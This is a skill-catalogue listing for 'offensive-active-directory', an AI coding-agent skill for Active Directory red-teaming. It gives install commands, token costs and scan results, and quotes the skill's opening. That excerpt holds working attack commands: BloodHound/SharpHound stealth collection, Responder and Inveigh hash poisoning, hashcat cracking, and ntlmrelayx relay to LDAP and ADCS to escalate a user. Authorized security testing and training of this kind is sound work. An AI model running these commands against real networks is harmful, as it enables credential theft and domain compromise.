offensive-active-directory

offensive-active-directory is a skill for Claude Code, Codex from SnailSploit/Claude-Red. It costs 167 tokens per session (3,961 once invoked), scanned A, original, MIT.

A guide to testing the security of Microsoft Active Directory, the system many organizations use to manage Windows users, computers, and permissions.

In plain words
What is it for?
Use it during approved internal red-team engagements to map the directory, identify credential and permission weaknesses, test privilege escalation, and document persistence.
Why use it?
It organizes ways an authorized security tester can discover account relationships, find paths to higher privileges, and assess how an attacker could move through an internal network.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it during approved internal red-team engagements to map the directory, identify credential and permission weaknesses, test privilege escalation, and document persistence.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/snailsploit/claude-red/offensive-active-directory
About the project

claude-red is a library of structured skills that give Claude specialized offensive-security methods for areas such as web vulnerabilities, shellcode, exploit development, and identity systems. It is intended for authorized red-team work, bug-bounty triage, security research, CTF preparation, and operator training. Its catalogue contains the project's skills for loading these security specializations into Claude.

SnailSploit/Claude-Red · 7,620 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add SnailSploit/Claude-Red --skill offensive-active-directory
Clone the repo
git clone --depth 1 https://github.com/SnailSploit/Claude-Red

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for offensive-active-directory

README.md
[![agentmods](https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-active-directory/github.svg)](https://agentmods.dev/skills/snailsploit/claude-red/offensive-active-directory)
Your own site
<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-active-directory"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-active-directory/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for offensive-active-directory

Your own site · 80×15
<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-active-directory"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-active-directory.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 167 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,961 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 2 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 3
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
  • high YARA Match · line 120
    YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
    Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00167 $0.03961
Opus 5.5 $0.00067 $0.01584
Sonnet 5.5 $0.00033 $0.00792
Haiku 4.5 $0.00017 $0.00396

Measured 1mo ago against content hash 00e5b7cea50d, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

offensive-active-directory scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

Skills/active-directory/offensive-active-directory/SKILL.md · 429 lines

How it starts

The opening of the file, as written. The whole thing — 429 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Active Directory — Offensive Testing Methodology

Quick Workflow

  1. Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries
  2. Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed
  3. Map attack paths to Domain Admin / Enterprise Admin / Tier 0
  4. Execute path with lowest detection cost, validate at each hop
  5. Establish persistence and document every action with timestamps

Reconnaissance

BloodHound Collection

# SharpHound (CSharp collector) — most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip

# Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth

# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All

PowerView (No Tool Drop)

# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
  ?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}

ADExplorer Offline

# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/

Credential Harvesting

LLMNR / NBT-NS / mDNS Poisoning

# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf

# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y

Crack with hashcat mode 5600. If cracking fails, relay instead.

NTLM Relay

# Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt

# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
  --escalate-user attacker --delegate-access

# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
  --adcs --template DomainController

Read the full file on GitHub · 429 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 429 lines · 167 tokens per session scan A 00e5b7cea50d

Subscribe to this mod's changes

offensive-active-directory is a skill published in the GitHub repository SnailSploit/Claude-Red (7,620 stars, last pushed 8d ago), licensed MIT. It adds 167 tokens to every session and 3,961 once invoked, about $0.0007 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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